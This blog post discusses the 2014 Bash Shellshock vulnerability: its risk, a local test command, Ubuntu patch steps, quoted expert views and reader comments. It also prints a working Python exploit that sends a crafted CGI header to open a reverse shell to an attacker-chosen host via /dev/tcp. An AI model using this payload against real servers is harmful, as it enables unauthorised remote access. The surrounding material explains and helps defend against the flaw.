Shellshock (CVE-2014-6271) the bug in BASH is causing havoc on the Internet this week, as far as I’m concerned it’s a bit overstated – seriously how many people are still using cgi scripts? None I hope. I do suspect though a lot of shared hosts might get owned by this as most commercial control panel software installs a /cgi-bin/ and sometimes a script by default.
GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka “ShellShock.” NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.
We’ve been so focused on buffer overflows and memory stack bugs during the past decade, we’re currently getting owned by bugs from the 90s – which once again shows the need for proper code auditing on Open Source projects (and donations/budget allocations for such activities).
The other risk profile I see exposed here is devices like routers/proxy boxes and so on that use some type of trimmed down regular Linux with BASH. I’ve seen some comments from the embedded community that this shouldn’t be an issue for them as they tend to use BusyBox which is not vulnerable.
To test for the vulnerability on your *nix systems just issue the following command as any user (doesn’t have to be root):
|
1 |
env testbug='() { :;}; echo VULNERABLE' bash -c "echo Hello" |
If you see this:
|
1 2 |
VULNERABLE Hello |
It’s vulnerable, if it’s fixed or not vulnerable you should see this:
|
1 2 3 |
bash: warning: testbug: ignoring function definition attempt bash: error importing function definition for `testbug' Hello |
As far as the risk, I definitely don’t think it’s a 10/10 risk vulnerability, although there already 2 worms in the wild exploiting this bug to build botnets. I don’t think any reasonably well secured server will fall foul to this though, even without BASH updated it shouldn’t be an issue.
But if you do find a vulnerable system with a cgi script, it’s trival to exploit and get a reverse shell with code such as this:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
# #CVE-2014-6271 cgi-bin reverse shell # import httplib,urllib,sys if (len(sys.argv)<4): print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0] print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0] exit(0) conn = httplib.HTTPConnection(sys.argv[1]) reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3] headers = {"Content-type": "application/x-www-form-urlencoded", "test":reverse_shell } conn.request("GET",sys.argv[2],headers=headers) res = conn.getresponse() print res.status, res.reason data = res.read() print data |
I pretty much exclusitely use nginx so I don’t have the issues many will have, if you use Apache and have mod_cgi enabled – you may well be in trouble. Look out for servers with FTP/Telnet/Apache with something like Masscan and sort them out as your primary/production systems are pretty safe without any updates/changes.
Some views/updates from others:
The vulnerability is present in Bash up to and including version 4.3, and was discovered by Stephane Chazelas. It puts Apache web servers, in particular, at risk of compromise: CGI scripts that use or invoke Bash in any way – including any child processes spawned by the scripts – are vulnerable to remote-code injection. OpenSSH and some DHCP clients are also affected on machines that use Bash.
It can be exploited by attackers looking to override or bypass environment restrictions to execute shell commands, i.e. unauthorized, malicious code.
The flaw is deemed critical for many reasons. For one, the number of affected devices is huge: think about all the web servers (including Apache ones) and embedded devices (routers, etc.) running on Linux, Mac computers… The number could very well be in the hundreds of millions.
Secondly, the US-CERT and NIST gave it the maximum score (10.0) for both impact and exploitability. Exploitation of the flaw can lead to unauthorized disclosure of information, unauthorized system access and modification, and disruption of service, and the exploitation process is extremely short and simple: it takes just a few lines of code.
According to several security firms, attackers are already probing systems for the weakness, and that at least two computer worms are actively exploiting the flaw to install malware. Jamie Blasco, labs director at AlienVault, has been running a honeypot on the vulnerability since yesterday to emulate a vulnerable system.
“With the honeypot, we found several machines trying to exploit the Bash vulnerability,” Blasco said. “The majority of them are only probing to check if systems are vulnerable. On the other hand, we found two worms that are actively exploiting the vulnerability and installing a piece of malware on the system. This malware turns the systems into bots that connect to a C&C server where the attackers can send commands, and we have seen the main purpose of the bots is to perform distributed denial of service attacks.”
Today’s bash bug is as big a deal as Heartbleed. That’s for many reasons.
The first reason is that the bug interacts with other software in unexpected ways. We know that interacting with the shell is dangerous, but we write code that does it anyway. An enormous percentage of software interacts with the shell in some fashion. Thus, we’ll never be able to catalogue all the software out there that is vulnerable to the bash bug. This is similar to the OpenSSL bug: OpenSSL is included in a bajillion software packages, so we were never able to fully quantify exactly how much software is vulnerable.
The second reason is that while the known systems (like your web-server) are patched, unknown systems remain unpatched. We see that with the Heartbleed bug: six months later, hundreds of thousands of systems remain vulnerable. These systems are rarely things like webservers, but are more often things like Internet-enabled cameras.
If you are running Mac OS X it’s not so trivial to fix, even if you run Homebrew, updating that will only update Homebrew BASH and not system BASH which still leaves you vulnerable if you have any public web services. If you don’t run any public web services from your Mac (like most people) you don’t have much to worry about. Some reading:
– How to patch Bash on OSX in wake of “shellshock”?
– How to patch your vulnerable OS X to latest bash issue (for advanced users)
If you running Ubuntu on your production systems (like me) the update/patch is trivial:
|
1 |
aptitude update; aptitude safe-upgrade -y; reboot |
If you only want to upgrade BASH and not mess with your packages then just do:
|
1 |
aptitude update; aptitude safe-upgrade bash -y; reboot |
The reboot might not strictly be necessary, but honestly I prefer to be safe than sorry.
So what’s the downlow? Are a lot of huge websites going to get owned and is half the Internet going to go dark? No. Are a lot of old devices/servers/unloved pieces of equipment/shared hosting servers going to get owned and turned into members of Botnets? Yes most likely.
Is this going to effect the average consumer? No not really, does it effect the average company? Probably yes it will, but not at the core of your production systems which should be fairly immune to this vulnerability.
But it’s fairly easy to patch, so why not – if you can do it without disrupting your business too much – just patch.
We’ll have to wait a couple of weeks to see where this really goes, and see if it’s really as disruptive as Heartbleed was.
Joe says
PHP can be installed in two different ways: (1) as an Apache module; and (2) with CGI (which involves bash). You are correct to point out that CGI installations can be trouble.
Some systems like Joomla, which are written in PHP, are even telling their users that CGI is more secure.
So I think this *is* a big deal.
http://docs.joomla.org/Should_PHP_run_as_a_CGI_script_or_as_an_Apache_module%3F
However, as you ALSO correctly point out, the command interpreter can be invoked even when CGI is not used:
Pat Wood says
Actually, PHP can be installed three ways: apache module, CGI, and Fast CGI. When installed as Fast CGI, which is more common than CGI in production environments (you don’t spawn a process for every PHP invocation from the server), parameters aren’t passed as env variables; they’re passed over a port.
Darknet says
Well if you want to get technical, there’s also PHP-FPM and both FPM and FCGI can run over a port or a unix socket.
Dave cox says
I am an avid reader of your blog. Usually I just read and keep the opinions to myself but this time I think your view is just to narrow to keep my mouth shut. Webservers are the tip of the iceberg.
OpenVPN can be exploited given the right conditions, Banks building their own ATM software often use Linux and bash. Closed Circuit systems like the ones on the freeways and above streets use bash. All of these systems now have a fairly simple attack vector. I would its really the opposite. Heartbleed softened the media up. This is not getting the coverage it should.
Dave
Pat Wood says
I’m in between on this. Lots of embedded devices running linux right now don’t have bash installed, but use busybox for shell. This includes nost consumer-grade routers, cables boxes, and the like. On the other hand, some commercial routers do have bash installed and are vulnerable to this attack vector, and I believe that future devices are getting more sophisticated and will include bash (our two network printing applicances, one x86 and one ARM, both include bash).
One bit of “good” news (if you can consider any of this news good) is that Ubuntu and Debian both ship with dash symlinked to /bin/sh, not bash, so a lot of systems that have a vulnerable bash don’t actually use it for CGI, DHCP scripts, CUPS filters, and so on.
Don’t know about the OpenVPN exploit, but the OpenSSH one requires proper login credentials before it can be triggered. It’s mostly a problem with setups where some login is restricted to a subset of commands via the ForceCommand directive — the exploit can be used to bypass this restriction and run anything by setting the LANG env variable (if the user’s shell is bash).